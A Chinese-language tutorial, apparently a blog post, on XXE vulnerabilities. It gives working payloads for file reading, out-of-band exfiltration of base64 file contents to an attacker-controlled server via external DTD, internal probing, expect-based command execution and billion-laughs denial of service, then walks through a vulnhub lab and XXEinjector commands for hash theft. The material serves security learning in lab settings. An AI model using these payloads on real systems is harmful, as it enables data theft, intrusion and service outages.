关于XXE漏洞大家相比都不陌生,虽包含在OWASP top10,算是比较常见的漏洞,但是在实战情况下较少遇到,之前文章中虽然也涉及到过XXE的漏洞复现,但是并未太过涉及该漏洞,正好之前有篇文章,修改了一下就发出来了

XXE、XML

关于xxe是什么,那就不得不提xml了,简单来说xml就是一种语言,我们在创建java项目的时候通常用xml来引入依赖,xml与html不同,xml旨在传输信息,焦点是数据的格式。

xxe漏洞原因是在解析xml输入时,没有禁止外部实体的加载,导致加载恶意外部文件,而产生的危害,例如rce、任意文件read、内网探测等等,一般是结合其他漏洞打组合拳

XXE检测

关于XXE的检测,工具去扫应该是最简单的方法了,所以就不介绍,只介绍一下手工的方法

数据格式

首选可以看数据包的格式,例如

<user><username>1</username><password>1</password></user>

这种就是典型的xml格式的数据包,说明是支持xml的数据传输格式,可以进一步去检测是否有XXE漏洞

Content-Type值判断

Content-Type: application/xml;即证明支持xml数据传输格式,可以进一步检测XXE漏洞

就借助这个案例来用一下这个靶场,靶场源码就不看了,支持XML数据传输格式,然后再去写一下我们的payload去跑一下

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///d://1.txt">
]>
<user><username>&xxe;</username><password>NAY</password></user>

payload挺简单的,就不解释了

Content-Type返回值判断

这种情况是上方两种特点均无,那么我们可以修改Content-Type字段为application/xml查看返回包是否正常,如果返回正常,那么也说明是支持XML语言数据传输的,可以进一步测试XXE漏洞

XXE利用

#读文件

pikachu里有一点环境,先借着这个环境引入我们的xxe玩法

有回显

读取c盘下的1.txt文件dddd

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///c://1.txt">
]>
<x>&xxe;</x>

前提是有这个文件,要不然你肯定是读不到的

无回显

同样也是用pikachu,手动把回显关掉即可,在xxe_1.php第82行注释掉即可

思路类似于外部请求dtd,只不过需要把请求到的东西写入日志或者自己服务器来达到可看的效果

这里以base64编码的形式读取c://test.txt

<?xml version = "1.0"?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM 
	"php://filter/read=convert.base64-encode/resource=c:/test.txt">
	<!ENTITY % dtd SYSTEM "http://192.168.158.134/test.dtd">
	%dtd;
	%send;
]>

test.dtd:将获取到的写入我们自己服务器的日志中

<!ENTITY % payload 
 "<!ENTITY &#x25; send SYSTEM 
 'http://192.168.158.134/?data=%file;'>"
 >
 %payload;

日志中出现了我们读取的文件通过base64加密后的效果

#探测内网其他服务

这里我直接探测的pikachu靶场下的文件,你当然可以去探测内网中其他服务

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
	<!ENTITY rabbit SYSTEM "http://192.168.158.134:80/index.txt">
]>
<x>&rabbit;</x>z

例如你可以拿一个字典来跑这个payload来探测即可,达到layer文件挖掘的那种效果

#RCE

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

同时还需要绕过过滤

#引入外部实体dtd

ps:可能有的地方会禁止去外部远程加载我们的dtd文件,那么这个攻击就会失效

主要作用是绕过过滤,去外部加载我们的payload

<?xml version = "1.0"?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "http://192.168.158.134/1.dtd">
	%file;
]>
<x>&send;</x>

1.dtd:读取c盘下的1.txt

<!ENTITY send SYSTEM "file:///C:/1.txt">

#DDOS


<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。

绕过

ENTITY、SYSTEM、file等关键词被过滤

使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

http协议被过滤

例如php环境下读文件时http协议被过滤,思路为传入php的恶意文件到对方服务器上,然后恶意文件写入我们payload即可,我们的恶意php文件就会执行,那么payload也就执行成功了

php://filter协议附加文件绕过

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY % file SYSTEM 
	"php://filter/read=convert.base64-encode/resource=payload.php">
]>
<x>&file;</x>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://192.168.158.134/test.dtd'>

file://协议附加文件绕过

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "file://payload.php">
    %file;
]>
<!--上传文件-->
<!ENTITY % a SYSTEM 'http://192.168.158.134/test.dtd'>

实际案例

这里用的是vulnhub的靶机https://download.vulnhub.com/xxe/XXE.zip 是提供给我们的,下载解压后直接VMware就可以打开的一个靶机,打开好后是无法登录的,需要我们外部攻击来获取登录密码

扫描内网

那么就先用nmap扫一下内网,看看靶机的ip地址以及开放的端口,我kali的ip为192.168.158.128,那么靶机在158这个网段中

nmap -sS 192.168.158.1/24

扫目录

扫到两个不清楚是哪个就都访问尝试一下,感觉是80端口,最后是192.168.158.135开着apache服务,那就是这台靶机,先扫一下有哪些文件,随便拿个字典扫一下,进到robots.txt这个文件看一下,这个文件一般是什么文件我就不多说了

看到了这么一段信息,这里给了两个目录,/xxe/和admin.php,访问一下看有什么信息

是这样的一个界面,直接先burp抓包看一眼数据包的特点

很明显的一个xml数据格式传递的数据,那么我们就先构造payload来读核心的php文件

读文件

读一下admin.php和xxe.php文件,看有没有什么有用的信息,在admin.php中读到了这么一串信息,进行了一个判断,那么很明显username和password就出现了,解密一下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
if ($_POST['username'] == 'administhebest' && 
                  md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609')

那么解密后username和password就出来了,进入admin.php尝试登录一下

但是登录进去后跳转到了flagmeout.php并且报了错误,估计是权限不够或者限制了无法直接访问,我们就接着用xxe来读即可,先读一下flagmeout.php看一下,这个加密是base32的加密,解密一下

base32解密后再base64解密,得到我们想要的东西

得到了一个地址,那么我们接着读这个地址里面的信息,虽然是一串复杂的符号,但是结合文件名字以及$符号,我们应该就知道这一串其实是php代码,那么我们直接拿过来运行一下即可

最终也是成功的得到了我们需要的flag,不过运行这串php代码需要你的php版本低一点,要不然会报错无法运行

XXEinjector:一款自动化XXE注射工具

XXEinjector是一款基于Ruby的XXE注入工具,它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。

XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,

以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。

这里建议在kali环境下运行。

该工具的使用我就不演示了,大家自行操作即可

基本参数详解:

--host     必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file      必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path           必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute          必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger        记录输出结果。
--rhost          远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport          远程主机的TCP端口信息。(--rport=8080)
--phpfilter    在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc     使用netdoc协议。(Java).
--enumports   枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes       窃取运行当前应用程序用户的Windows哈希。
--expect        使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload       使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt      XSLT注入测试。
--ssl              使用SSL。
--proxy         使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口。(--httpport=80)
--ftpport       设置自定义FTP端口。(--ftpport=21)
--gopherport  设置自定义gopher端口。(--gopherport=70)
--jarport       设置自定义文件上传端口。(--jarport=1337)
--xsltport  设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test     该模式可用于测试请求的有效。
--urlencode     URL编码,默认为URI。
--output       爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout     设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout  设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast     跳过枚举询问,有可能出现结果假阳性。
--verbose     显示verbose信息。

如果你现在还对XXE攻击不是很了解的话,推荐大家先阅读下面这篇文章:《XXE注入攻击-XML外部实体漏洞及样本分析》。

XXEinjector使用样例

枚举HTTPS应用程序中的/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚举/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击:

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通过直接性漏洞利用方式进行资源枚举:

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希:

ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上传文件:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

记录请求信息:

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

github地址:https://github.com/enjoiz/XXEinjector